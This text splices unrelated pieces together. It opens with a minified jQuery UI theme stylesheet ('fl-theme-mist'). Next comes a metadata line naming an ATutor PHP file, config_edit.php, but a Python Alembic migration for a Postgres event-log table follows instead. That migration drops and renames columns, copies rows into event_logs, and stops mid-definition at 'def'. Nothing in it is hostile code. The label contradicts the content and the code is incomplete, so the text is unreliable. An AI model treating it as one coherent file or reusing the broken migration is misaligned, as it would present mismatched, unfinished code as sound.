.ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:normal;} .fl-theme-mist .ui-state-disabled,.fl-theme-mist .ui-widget-content .ui-state-disabled,.fl-theme-mist .ui-widget-header .ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none;} .fl-theme-mist .ui-icon{width:16px;height:16px;background-image:url(images/ui-icons_222222_256x240.png);} .fl-theme-mist .ui-widget-content .ui-icon{background-image:url(images/ui-icons_222222_256x240.png);} .fl-theme-mist .ui-widget-header .ui-icon{background-image:url(images/ui-icons_000000_256x240.png);} .fl-theme-mist .ui-state-default .ui-icon{background-image:url(images/ui-icons_888888_256x240.png);} .fl-theme-mist .ui-state-hover .ui-icon,.fl-theme-mist .ui-state-focus .ui-icon{background-image:url(images/ui-icons_454545_256x240.png);} .fl-theme-mist .ui-state-active .ui-icon{background-image:url(images/ui-icons_454545_256x240.png);} .fl-theme-mist .ui-state-highlight .ui-icon{background-image:url(images/ui-icons_2e83ff_256x240.png);} .fl-theme-mist .ui-state-error .ui-icon,.fl-theme-mist .ui-state-error-text .ui-icon{background-image:url(images/ui-icons_cd0a0a_256x240.png);} .fl-theme-mist .ui-icon-carat-1-n{background-position:0 0;} .fl-theme-mist .ui-icon-carat-1-ne{background-position:-16px 0;} .fl-theme-mist .ui-icon-carat-1-e{background-position:-32px 0;} .fl-theme-mist .ui-icon-carat-1-se{background-position:-48px 0;} .fl-theme-mist .ui-icon-carat-1-s{background-position:-64px 0;} .fl-theme-mist .ui-icon-carat-1-sw{background-position:-80px 0;} .fl-theme-mist .ui-icon-carat-1-w{background-position:-96px 0;} .fl-theme-mist .ui-icon-carat-1-nw{background-position:-112px 0;} .fl-theme-mist .ui-icon-carat-2-n-s{background-position:-128px 0;} .fl-theme-mist .ui-icon-carat-2-e-w{background-position:-144px 0;} .fl-theme-mist .ui-icon-triangle-1-n{background-position:0 -16px;} .fl-theme-mist .ui-icon-triangle-1-ne{background-position:-16px -16px;} .fl-theme-mist .ui-icon-triangle-1-e{background-position:-32px -16px;} .fl-theme-mist .ui-icon-triangle-1-se{background-position:-48px -16px;} .fl-theme-mist .ui-icon-triangle-1-s{background-position:-64px -16px;} .fl-theme-mist .ui-icon-triangle-1-sw{background-position:-80px -16px;} .fl-theme-mist .ui-icon-triangle-1-w{background-position:-96px -16px;} .fl-theme-mist .ui-icon-triangle-1-nw{background-position:-112px -16px;} .fl-theme-mist .ui-icon-triangle-2-n-s{background-position:-128px -16px;} .fl-theme-mist .ui-icon-triangle-2-e-w{background-position:-144px -16px;} .fl-theme-mist .ui-icon-arrow-1-n{background-position:0 -32px;} .fl-theme-mist .ui-icon-arrow-1-ne{background-position:-16px -32px;} .fl-theme-mist .ui-icon-arrow-1-e{background-position:-32px -32px;} .fl-theme-mist .ui-icon-arrow-1-se{background-position:-48px -32px;} .fl-theme-mist .ui-icon-arrow-1-s{background-position:-64px -32px;} .fl-theme-mist .ui-icon-arrow-1-sw{background-position:-80px -32px;} .fl-theme-mist .ui-icon-arrow-1-w{background-position:-96px -32px;} .fl-theme-mist .ui-icon-arrow-1-nw{background-position:-112px -32px;} .fl-theme-mist .ui-icon-arrow-2-n-s{background-position:-128px -32px;} .fl-theme-mist .ui-icon-arrow-2-ne-sw{background-position:-144px -32px;} .fl-theme-mist .ui-icon-arrow-2-e-w{background-position:-160px -32px;} .fl-theme-mist .ui-icon-arrow-2-se-nw{background-position:-176px -32px;} .fl-theme-mist .ui-icon-arrowstop-1-n{background-position:-192px -32px;} .fl-theme-mist .ui-icon-arrowstop-1-e{background-position:-208px -32px;} .fl-theme-mist .ui-icon-arrowstop-1-s{background-position:-224px -32px;} .fl-theme-mist .ui-icon-arrowstop-1-w{background-position:-240px -32px;} .fl-theme-mist .ui-icon-arrowthick-1-n{background-position:0 -48px;} .fl-theme-mist .ui-icon-arrowthick-1-ne{background-position:-16px -48px;} .fl-theme-mist .ui-icon-arrowthick-1-e{background-position:-32px -48px;} .fl-theme-mist .ui-icon-arrowthick-1-se{background-position:-48px -48px;} .fl-theme-mist .ui-icon-arrowthick-1-s{background-position:-64px -48px;} .fl-theme-mist .ui-icon-arrowthick-1-sw{background-position:-80px -48px;} .fl-theme-mist .ui-icon-arrowthick-1-w{background-position:-96px -48px;} .fl-theme-mist .ui-icon-arrowthick-1-nw{background-position:-112px -48px;} .fl-theme-mist .ui-icon-arrowthick-2-n-s{background-position:-128px -48px;} .fl-theme-mist .ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px;} .fl-theme-mist .ui-icon-arrowthick-2-e-w{background-position:-160px -48px;} .fl-theme-mist .ui-icon-arrowthick-2-se-nw{background-position:-176px -48px;} .fl-theme-mist .ui-icon-arrowthickstop-1-n{background-position:-192px -48px;} .fl-theme-mist .ui-icon-arrowthickstop-1-e{background-position:-208px -48px;} .fl-theme-mist .ui-icon-arrowthickstop-1-s{background-position:-224px -48px;} .fl-theme-mist .ui-icon-arrowthickstop-1-w{background-position:-240px -48px;} .fl-theme-mist .ui-icon-arrowreturnthick-1-w{background-position:0 -64px;} .fl-theme-mist .ui-icon-arrowreturnthick-1-n{background-position:-16px -64px;} .fl-theme-mist .ui-icon-arrowreturnthick-1-e{background-position:-32px -64px;} .fl-theme-mist .ui-icon-arrowreturnthick-1-s{background-position:-48px -64px;} .fl-theme-mist .ui-icon-arrowreturn-1-w{background-position:-64px -64px;} .fl-theme-mist .ui-icon-arrowreturn-1-n{background-position:-80px -64px;} .fl-theme-mist .ui-icon-arrowreturn-1-e{background-position:-96px -64px;} .fl-theme-mist .ui-icon-arrowreturn-1-s{background-position:-112px -64px;} .fl-theme-mist .ui-icon-arrowrefresh-1-w{background-position:-128px -64px;} .fl-theme-mist .ui-icon-arrowrefresh-1-n{background-position:-144px -64px;} .fl-theme-mist .ui-icon-arrowrefresh-1-e{background-position:-160px -64px;} .fl-theme-mist .ui-icon-arrowrefresh-1-s{background-position:-176px -64px;} .fl-theme-mist .ui-icon-arrow-4{background-position:0 -80px;} .fl-theme-mist .ui-icon-arrow-4-diag{background-position:-16px -80px;} .fl-theme-mist .ui-icon-extlink{background-position:-32px -80px;} .fl-theme-mist .ui-icon-newwin{background-position:-48px -80px;} .fl-theme-mist .ui-icon-refresh{background-position:-64px -80px;} .fl-theme-mist .ui-icon-shuffle{background-position:-80px -80px;} .fl-theme-mist .ui-icon-transfer-e-w{background-position:-96px -80px;} .fl-theme-mist .ui-icon-transferthick-e-w{background-position:-112px -80px;} .fl-theme-mist .ui-icon-folder-collapsed{background-position:0 -96px;} .fl-theme-mist .ui-icon-folder-open{background-position:-16px -96px;} .fl-theme-mist .ui-icon-document{background-position:-32px -96px;} .fl-theme-mist .ui-icon-document-b{background-position:-48px -96px;} .fl-theme-mist .ui-icon-note{background-position:-64px -96px;} .fl-theme-mist .ui-icon-mail-closed{background-position:-80px -96px;} .fl-theme-mist .ui-icon-mail-open{background-position:-96px -96px;} .fl-theme-mist .ui-icon-suitcase{background-position:-112px -96px;} .fl-theme-mist .ui-icon-comment{background-position:-128px -96px;} .fl-theme-mist .ui-icon-person{background-position:-144px -96px;} .fl-theme-mist .ui-icon-print{background-position:-160px -96px;} .fl-theme-mist .ui-icon-trash{background-position:-176px -96px;} .fl-theme-mist .ui-icon-locked{background-position:-192px -96px;} .fl-theme-mist .ui-icon-unlocked{background-position:-208px -96px;} .fl-theme-mist .ui-icon-bookmark{background-position:-224px -96px;} .fl-theme-mist .ui-icon-tag{background-position:-240px -96px;} .fl-theme-mist .ui-icon-home{background-position:0 -112px;} .fl-theme-mist .ui-icon-flag{background-position:-16px -112px;} .fl-theme-mist .ui-icon-calendar{background-position:-32px -112px;} .fl-theme-mist .ui-icon-cart{background-position:-48px -112px;} .fl-theme-mist .ui-icon-pencil{background-position:-64px -112px;} .fl-theme-mist .ui-icon-clock{background-position:-80px -112px;} .fl-theme-mist .ui-icon-disk{background-position:-96px -112px;} .fl-theme-mist .ui-icon-calculator{background-position:-112px -112px;} .fl-theme-mist .ui-icon-zoomin{background-position:-128px -112px;} .fl-theme-mist .ui-icon-zoomout{background-position:-144px -112px;} .fl-theme-mist .ui-icon-search{background-position:-160px -112px;} .fl-theme-mist .ui-icon-wrench{background-position:-176px -112px;} .fl-theme-mist .ui-icon-gear{background-position:-192px -112px;} .fl-theme-mist .ui-icon-heart{background-position:-208px -112px;} .fl-theme-mist .ui-icon-star{background-position:-224px -112px;} .fl-theme-mist .ui-icon-link{background-position:-240px -112px;} .fl-theme-mist .ui-icon-cancel{background-position:0 -128px;} .fl-theme-mist .ui-icon-plus{background-position:-16px -128px;} .fl-theme-mist .ui-icon-plusthick{background-position:-32px -128px;} .fl-theme-mist .ui-icon-minus{background-position:-48px -128px;} .fl-theme-mist .ui-icon-minusthick{background-position:-64px -128px;} .fl-theme-mist .ui-icon-close{background-position:-80px -128px;} .fl-theme-mist .ui-icon-closethick{background-position:-96px -128px;} .fl-theme-mist .ui-icon-key{background-position:-112px -128px;} .fl-theme-mist .ui-icon-lightbulb{background-position:-128px -128px;} .fl-theme-mist .ui-icon-scissors{background-position:-144px -128px;} .fl-theme-mist .ui-icon-clipboard{background-position:-160px -128px;} .fl-theme-mist .ui-icon-copy{background-position:-176px -128px;} .fl-theme-mist .ui-icon-contact{background-position:-192px -128px;} .fl-theme-mist .ui-icon-image{background-position:-208px -128px;} .fl-theme-mist .ui-icon-video{background-position:-224px -128px;} .fl-theme-mist .ui-icon-script{background-position:-240px -128px;} .fl-theme-mist .ui-icon-alert{background-position:0 -144px;} .fl-theme-mist .ui-icon-info{background-position:-16px -144px;} .fl-theme-mist .ui-icon-notice{background-position:-32px -144px;} .fl-theme-mist .ui-icon-help{background-position:-48px -144px;} .fl-theme-mist .ui-icon-check{background-position:-64px -144px;} .fl-theme-mist .ui-icon-bullet{background-position:-80px -144px;} .fl-theme-mist .ui-icon-radio-off{background-position:-96px -144px;} .fl-theme-mist .ui-icon-radio-on{background-position:-112px -144px;} .fl-theme-mist .ui-icon-pin-w{background-position:-128px -144px;} .fl-theme-mist .ui-icon-pin-s{background-position:-144px -144px;} .fl-theme-mist .ui-icon-play{background-position:0 -160px;} .fl-theme-mist .ui-icon-pause{background-position:-16px -160px;} .fl-theme-mist .ui-icon-seek-next{background-position:-32px -160px;} .fl-theme-mist .ui-icon-seek-prev{background-position:-48px -160px;} .fl-theme-mist .ui-icon-seek-end{background-position:-64px -160px;} .fl-theme-mist .ui-icon-seek-start{background-position:-80px -160px;} .fl-theme-mist .ui-icon-seek-first{background-position:-80px -160px;} .fl-theme-mist .ui-icon-stop{background-position:-96px -160px;} .fl-theme-mist .ui-icon-eject{background-position:-112px -160px;} .fl-theme-mist .ui-icon-volume-off{background-position:-128px -160px;} .fl-theme-mist .ui-icon-volume-on{background-position:-144px -160px;} .fl-theme-mist .ui-icon-power{background-position:0 -176px;} .fl-theme-mist .ui-icon-signal-diag{background-position:-16px -176px;} .fl-theme-mist .ui-icon-signal{background-position:-32px -176px;} .fl-theme-mist .ui-icon-battery-0{background-position:-48px -176px;} .fl-theme-mist .ui-icon-battery-1{background-position:-64px -176px;} .fl-theme-mist .ui-icon-battery-2{background-position:-80px -176px;} .fl-theme-mist .ui-icon-battery-3{background-position:-96px -176px;} .fl-theme-mist .ui-icon-circle-plus{background-position:0 -192px;} .fl-theme-mist .ui-icon-circle-minus{background-position:-16px -192px;} .fl-theme-mist .ui-icon-circle-close{background-position:-32px -192px;} .fl-theme-mist .ui-icon-circle-triangle-e{background-position:-48px -192px;} .fl-theme-mist .ui-icon-circle-triangle-s{background-position:-64px -192px;} .fl-theme-mist .ui-icon-circle-triangle-w{background-position:-80px -192px;} .fl-theme-mist .ui-icon-circle-triangle-n{background-position:-96px -192px;} .fl-theme-mist .ui-icon-circle-arrow-e{background-position:-112px -192px;} .fl-theme-mist .ui-icon-circle-arrow-s{background-position:-128px -192px;} .fl-theme-mist .ui-icon-circle-arrow-w{background-position:-144px -192px;} .fl-theme-mist .ui-icon-circle-arrow-n{background-position:-160px -192px;} .fl-theme-mist .ui-icon-circle-zoomin{background-position:-176px -192px;} .fl-theme-mist .ui-icon-circle-zoomout{background-position:-192px -192px;} .fl-theme-mist .ui-icon-circle-check{background-position:-208px -192px;} .fl-theme-mist .ui-icon-circlesmall-plus{background-position:0 -208px;} .fl-theme-mist .ui-icon-circlesmall-minus{background-position:-16px -208px;} .fl-theme-mist .ui-icon-circlesmall-close{background-position:-32px -208px;} .fl-theme-mist .ui-icon-squaresmall-plus{background-position:-48px -208px;} .fl-theme-mist .ui-icon-squaresmall-minus{background-position:-64px -208px;} .fl-theme-mist .ui-icon-squaresmall-close{background-position:-80px -208px;} .fl-theme-mist .ui-icon-grip-dotted-vertical{background-position:0 -224px;} .fl-theme-mist .ui-icon-grip-dotted-horizontal{background-position:-16px -224px;} .fl-theme-mist .ui-icon-grip-solid-vertical{background-position:-32px -224px;} .fl-theme-mist .ui-icon-grip-solid-horizontal{background-position:-48px -224px;} .fl-theme-mist .ui-icon-gripsmall-diagonal-se{background-position:-64px -224px;} .fl-theme-mist .ui-icon-grip-diagonal-se{background-position:-80px -224px;} .fl-theme-mist .ui-corner-tl{-moz-border-radius-topleft:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;} .fl-theme-mist .ui-corner-tr{-moz-border-radius-topright:4px;-webkit-border-top-right-radius:4px;border-top-right-radius:4px;} .fl-theme-mist .ui-corner-bl{-moz-border-radius-bottomleft:4px;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;} .fl-theme-mist .ui-corner-br{-moz-border-radius-bottomright:4px;-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;} .fl-theme-mist .ui-corner-top{-moz-border-radius-topleft:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-topright:4px;-webkit-border-top-right-radius:4px;border-top-right-radius:4px;} .fl-theme-mist .ui-corner-bottom{-moz-border-radius-bottomleft:4px;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-moz-border-radius-bottomright:4px;-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;} .fl-theme-mist .ui-corner-right{-moz-border-radius-topright:4px;-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-moz-border-radius-bottomright:4px;-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;} .fl-theme-mist .ui-corner-left{-moz-border-radius-topleft:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-bottomleft:4px;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;} .fl-theme-mist .ui-corner-all{-moz-border-radius:4px;-webkit-border-radius:4px;border-radius:4px;} .fl-theme-mist .ui-widget-overlay{background:#2e83ff url(images/ui-bg_flat_0_2e83ff_40x100.png) 50% 50% repeat-x;opacity:.20;filter:Alpha(Opacity=20);} .fl-theme-mist .ui-widget-shadow{margin:-5px 0 0 -5px;padding:5px;background:#000 url(images/ui-bg_flat_0_000000_40x100.png) 50% 50% repeat-x;opacity:.30;filter:Alpha(Opacity=30);-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;} .fl-theme-mist .ui-resizable{position:relative;} .fl-theme-mist .ui-resizable-handle{position:absolute;font-size:.1px;z-index:99999;display:block;background-image:url(data:);} .fl-theme-mist .ui-resizable-disabled .ui-resizable-handle,.fl-theme-mist .ui-resizable-autohide .ui-resizable-handle{display:none;} .fl-theme-mist .ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0;} .fl-theme-mist .ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0;} .fl-theme-mist .ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%;} .fl-theme-mist .ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%;} .fl-theme-mist .ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px;} .fl-theme-mist .ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px;} .fl-theme-mist .ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px;} .fl-theme-mist .ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px;} .fl-theme-mist .ui-selectable-helper{position:absolute;z-index:100;border:1px dotted black;} .fl-theme-mist .ui-accordion{width:100%;} .fl-theme-mist .ui-accordion .ui-accordion-header{cursor:pointer;position:relative;margin-top:1px;zoom:1;} .fl-theme-mist .ui-accordion .ui-accordion-li-fix{display:inline;} .fl-theme-mist .ui-accordion .ui-accordion-header-active{border-bottom:0!important;} .fl-theme-mist .ui-accordion .ui-accordion-header a{display:block;font-size:1em;padding:.5em .5em .5em .7em;} .fl-theme-mist .ui-accordion-icons .ui-accordion-header a{padding-left:2.2em;} .fl-theme-mist .ui-accordion .ui-accordion-header .ui-icon{position:absolute;left:.5em;top:50%;margin-top:-8px;} .fl-theme-mist .ui-accordion .ui-accordion-content{padding:1em 2.2em;border-top:0;margin-top:-2px;position:relative;top:1px;margin-bottom:2px;overflow:auto;display:none;zoom:1;} .fl-theme-mist .ui-accordion .ui-accordion-content-active{display:block;} .fl-theme-mist .ui-autocomplete{position:absolute;cursor:default;} * html .ui-autocomplete{width:1px;} .fl-theme-mist .ui-menu{list-style:none;padding:2px;margin:0;display:block;float:left;} .fl-theme-mist .ui-menu .ui-menu{margin-top:-3px;} .fl-theme-mist .ui-menu .ui-menu-item{margin:0;padding:0;zoom:1;float:left;clear:left;width:100%;} .fl-theme-mist .ui-menu .ui-menu-item a{text-decoration:none;display:block;padding:.2em .4em;line-height:1.5;zoom:1;} .fl-theme-mist .ui-menu .ui-menu-item a.ui-state-hover,.fl-theme-mist .ui-menu .ui-menu-item a.ui-state-active{font-weight:normal;margin:-1px;} .fl-theme-mist .ui-button{display:inline-block;position:relative;padding:0;margin-right:.1em;text-decoration:none!important;cursor:pointer;text-align:center;zoom:1;overflow:visible;} .fl-theme-mist .ui-button-icon-only{width:2.2em;} button.ui-button-icon-only{width:2.4em;} .fl-theme-mist .ui-button-icons-only{width:3.4em;} button.ui-button-icons-only{width:3.7em;} .fl-theme-mist .ui-button .ui-button-text{display:block;line-height:1.4;} .fl-theme-mist .ui-button-text-only .ui-button-text{padding:.4em 1em;} .fl-theme-mist .ui-button-icon-only .ui-button-text,.fl-theme-mist .ui-button-icons-only .ui-button-text{padding:.4em;text-indent:-9999999px;} .fl-theme-mist .ui-button-text-icon-primary .ui-button-text,.fl-theme-mist .ui-button-text-icons .ui-button-text{padding:.4em 1em .4em 2.1em;} .fl-theme-mist .ui-button-text-icon-secondary .ui-button-text,.fl-theme-mist .ui-button-text-icons .ui-button-text{padding:.4em 2.1em .4em 1em;} .fl-theme-mist .ui-button-text-icons .ui-button-text{padding-left:2.1em;padding-right:2.1em;} input.ui-button{padding:.4em 1em;} .fl-theme-mist .ui-button-icon-only .ui-icon,.fl-theme-mist .ui-button-text-icon-primary .ui-icon,.fl-theme-mist .ui-button-text-icon-secondary .ui-icon,.fl-theme-mist .ui-button-text-icons .ui-icon,.fl-theme-mist .ui-button-icons-only .ui-icon{position:absolute;top:50%;margin-top:-8px;} .fl-theme-mist .ui-button-icon-only .ui-icon{left:50%;margin-left:-8px;} .fl-theme-mist .ui-button-text-icon-primary .ui-button-icon-primary,.fl-theme-mist .ui-button-text-icons .ui-button-icon-primary,.fl-theme-mist .ui-button-icons-only .ui-button-icon-primary{left:.5em;} .fl-theme-mist .ui-button-text-icon-secondary .ui-button-icon-secondary,.fl-theme-mist .ui-button-text-icons .ui-button-icon-secondary,.fl-theme-mist .ui-button-icons-only .ui-button-icon-secondary{right:.5em;} .fl-theme-mist .ui-button-text-icons .ui-button-icon-secondary,.fl-theme-mist .ui-button-icons-only .ui-button-icon-secondary{right:.5em;} .fl-theme-mist .ui-buttonset{margin-right:7px;} .fl-theme-mist .ui-buttonset .ui-button{margin-left:0;margin-right:-.3em;} button.ui-button::-moz-focus-inner{border:0;padding:0;} .fl-theme-mist .ui-dialog{position:absolute;padding:.2em;width:300px;overflow:hidden;} .fl-theme-mist .ui-dialog .ui-dialog-titlebar{padding:.4em 1em;position:relative;} .fl-theme-mist .ui-dialog .ui-dialog-title{float:left;margin:.1em 16px .1em 0;} .fl-theme-mist .ui-dialog .ui-dialog-titlebar-close{position:absolute;right:.3em;top:50%;width:19px;margin:-10px 0 0 0;padding:1px;height:18px;} .fl-theme-mist .ui-dialog .ui-dialog-titlebar-close span{display:block;margin:1px;} .fl-theme-mist .ui-dialog .ui-dialog-titlebar-close:hover,.fl-theme-mist .ui-dialog .ui-dialog-titlebar-close:focus{padding:0;} .fl-theme-mist .ui-dialog .ui-dialog-content{position:relative;border:0;padding:.5em 1em;background:none;overflow:auto;zoom:1;} .fl-theme-mist .ui-dialog .ui-dialog-buttonpane{text-align:left;border-width:1px 0 0 0;background-image:none;margin:.5em 0 0 0;padding:.3em 1em .5em .4em;} .fl-theme-mist .ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset{float:right;} .fl-theme-mist .ui-dialog .ui-dialog-buttonpane button{margin:.5em .4em .5em 0;cursor:pointer;} .fl-theme-mist .ui-dialog .ui-resizable-se{width:14px;height:14px;right:3px;bottom:3px;} .fl-theme-mist .ui-draggable .ui-dialog-titlebar{cursor:move;} .fl-theme-mist .ui-slider{position:relative;text-align:left;} .fl-theme-mist .ui-slider .ui-slider-handle{position:absolute;z-index:2;width:1.2em;height:1.2em;cursor:default;} .fl-theme-mist .ui-slider .ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0 0;} .fl-theme-mist .ui-slider-horizontal{height:.8em;} .fl-theme-mist .ui-slider-horizontal .ui-slider-handle{top:-.3em;margin-left:-.6em;} .fl-theme-mist .ui-slider-horizontal .ui-slider-range{top:0;height:100%;} .fl-theme-mist .ui-slider-horizontal .ui-slider-range-min{left:0;} .fl-theme-mist .ui-slider-horizontal .ui-slider-range-max{right:0;} .fl-theme-mist .ui-slider-vertical{width:.8em;height:100px;} .fl-theme-mist .ui-slider-vertical .ui-slider-handle{left:-.3em;margin-left:0;margin-bottom:-.6em;} .fl-theme-mist .ui-slider-vertical .ui-slider-range{left:0;width:100%;} .fl-theme-mist .ui-slider-vertical .ui-slider-range-min{bottom:0;} .fl-theme-mist .ui-slider-vertical .ui-slider-range-max{top:0;} .fl-theme-mist .ui-tabs{position:relative;padding:.2em;zoom:1;} .fl-theme-mist .ui-tabs .ui-tabs-nav{margin:0;padding:.2em .2em 0;} .fl-theme-mist .ui-tabs .ui-tabs-nav li{list-style:none;float:left;position:relative;top:1px;margin:0 .2em 1px 0;border-bottom:0!important;padding:0;white-space:nowrap;} .fl-theme-mist .ui-tabs .ui-tabs-nav li a{float:left;padding:.5em 1em;text-decoration:none;} .fl-theme-mist .ui-tabs .ui-tabs-nav li.ui-tabs-selected{margin-bottom:0;padding-bottom:1px;} .fl-theme-mist .ui-tabs .ui-tabs-nav li.ui-tabs-selected a,.fl-theme-mist .ui-tabs .ui-tabs-nav li.ui-state-disabled a,.fl-theme-mist .ui-tabs .ui-tabs-nav li.ui-state-processing a{cursor:text;} .fl-theme-mist .ui-tabs .ui-tabs-nav li a,.fl-theme-mist .ui-tabs.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-selected a{cursor:pointer;} .fl-theme-mist .ui-tabs .ui-tabs-panel{display:block;border-width:0;padding:1em 1.4em;background:none;} .fl-theme-mist .ui-tabs .ui-tabs-hide{display:none!important;} .fl-theme-mist .ui-datepicker{width:17em;padding:.2em .2em 0;display:none;} .fl-theme-mist .ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0;} .fl-theme-mist .ui-datepicker .ui-datepicker-prev,.fl-theme-mist .ui-datepicker .ui-datepicker-next{position:absolute;top:2px;width:1.8em;height:1.8em;} .fl-theme-mist .ui-datepicker .ui-datepicker-prev-hover,.fl-theme-mist .ui-datepicker .ui-datepicker-next-hover{top:1px;} .fl-theme-mist .ui-datepicker .ui-datepicker-prev{left:2px;} .fl-theme-mist .ui-datepicker .ui-datepicker-next{right:2px;} .fl-theme-mist .ui-datepicker .ui-datepicker-prev-hover{left:1px;} .fl-theme-mist .ui-datepicker .ui-datepicker-next-hover{right:1px;} .fl-theme-mist .ui-datepicker .ui-datepicker-prev span,.fl-theme-mist .ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px;} .fl-theme-mist .ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center;} .fl-theme-mist .ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0;} .fl-theme-mist .ui-datepicker select.ui-datepicker-month-year{width:100%;} .fl-theme-mist .ui-datepicker select.ui-datepicker-month,.fl-theme-mist .ui-datepicker select.ui-datepicker-year{width:49%;} .fl-theme-mist .ui-datepicker table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0 .4em;} .fl-theme-mist .ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:bold;border:0;} .fl-theme-mist .ui-datepicker td{border:0;padding:1px;} .fl-theme-mist .ui-datepicker td span,.fl-theme-mist .ui-datepicker td a{display:block;padding:.2em;text-align:right;text-decoration:none;} .fl-theme-mist .ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0;} .fl-theme-mist .ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em .6em;width:auto;overflow:visible;} .fl-theme-mist .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left;} .fl-theme-mist .ui-datepicker.ui-datepicker-multi{width:auto;} .fl-theme-mist .ui-datepicker-multi .ui-datepicker-group{float:left;} .fl-theme-mist .ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto .4em;} .fl-theme-mist .ui-datepicker-multi-2 .ui-datepicker-group{width:50%;} .fl-theme-mist .ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%;} .fl-theme-mist .ui-datepicker-multi-4 .ui-datepicker-group{width:25%;} .fl-theme-mist .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header{border-left-width:0;} .fl-theme-mist .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0;} .fl-theme-mist .ui-datepicker-multi .ui-datepicker-buttonpane{clear:left;} .fl-theme-mist .ui-datepicker-row-break{clear:both;width:100%;} .fl-theme-mist .ui-datepicker-rtl{direction:rtl;} .fl-theme-mist .ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto;} .fl-theme-mist .ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto;} .fl-theme-mist .ui-datepicker-rtl .ui-datepicker-prev:hover{right:1px;left:auto;} .fl-theme-mist .ui-datepicker-rtl .ui-datepicker-next:hover{left:1px;right:auto;} .fl-theme-mist .ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right;} .fl-theme-mist .ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left;} .fl-theme-mist .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current{float:right;} .fl-theme-mist .ui-datepicker-rtl .ui-datepicker-group{float:right;} .fl-theme-mist .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header{border-right-width:0;border-left-width:1px;} .fl-theme-mist .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px;} .fl-theme-mist .ui-datepicker-cover{display:none;display:block;position:absolute;z-index:-1;filter:mask();top:-4px;left:-4px;width:200px;height:200px;} .fl-theme-mist .ui-progressbar{height:2em;text-align:left;} .fl-theme-mist .ui-progressbar .ui-progressbar-value{margin:-1px;height:100%;}
{'repo_name': 'atutor/ATutor', 'stars': '165', 'repo_language': 'PHP', 'file_name': 'config_edit.php', 'mime_type': 'text/x-php', 'hash': -4721713228611131820, 'source_dataset': 'data'}
"""Base revision for SQL-backed event log storage Revision ID: 567bc23fd1ac Revises: Create Date: 2019-11-21 09:59:57.028730 """ # pylint: disable=no-member # alembic dynamically populates the alembic.context module import sqlalchemy as sa from alembic import op from sqlalchemy import Column from sqlalchemy.engine import reflection # revision identifiers, used by Alembic. revision = "567bc23fd1ac" down_revision = None branch_labels = None depends_on = None def upgrade(): # This is our root migration, and we don't have a common base. Before this revision, sqlite- and # postgres-based event logs had different schemas. The conditionality below is to deal with dev # databases that might not have been stamped by Alembic. bind = op.get_context().bind inspector = reflection.Inspector.from_engine(bind) if "postgresql" not in inspector.dialect.dialect_description: raise Exception( "Bailing: refusing to run a migration for postgres-backed event log storage against " "a non-postgres database of dialect {dialect}".format( dialect=inspector.dialect.dialect_description ) ) has_tables = inspector.get_table_names() if "event_log" in has_tables: op.drop_column( table_name="event_log", column_name="id", ) op.alter_column( table_name="event_log", column_name="run_id", nullable=True, type_=sa.types.String(255), existing_type=sa.types.VARCHAR(255), ) op.alter_column( table_name="event_log", column_name="event_body", nullable=False, new_column_name="event", type_=sa.types.Text, existing_type=sa.types.VARCHAR, ) op.add_column(table_name="event_log", column=Column("dagster_event_type", sa.types.Text)) op.add_column(table_name="event_log", column=Column("timestamp", sa.types.TIMESTAMP)) op.execute( "update event_log\n" "set\n" " dagster_event_type = event::json->'dagster_event'->>'event_type_value',\n" " timestamp = to_timestamp((event::json->>'timestamp')::double precision)" ) # op.execute('''select setval(pg_get_serial_sequence('event_logs', 'id'), greatest(select max(id) from event_log, select max(id) from event_logs))''') op.execute( "insert into event_logs (run_id, event, dagster_event_type, timestamp) " "select run_id, event, dagster_event_type, timestamp " "from event_log" ) op.drop_table("event_log") def 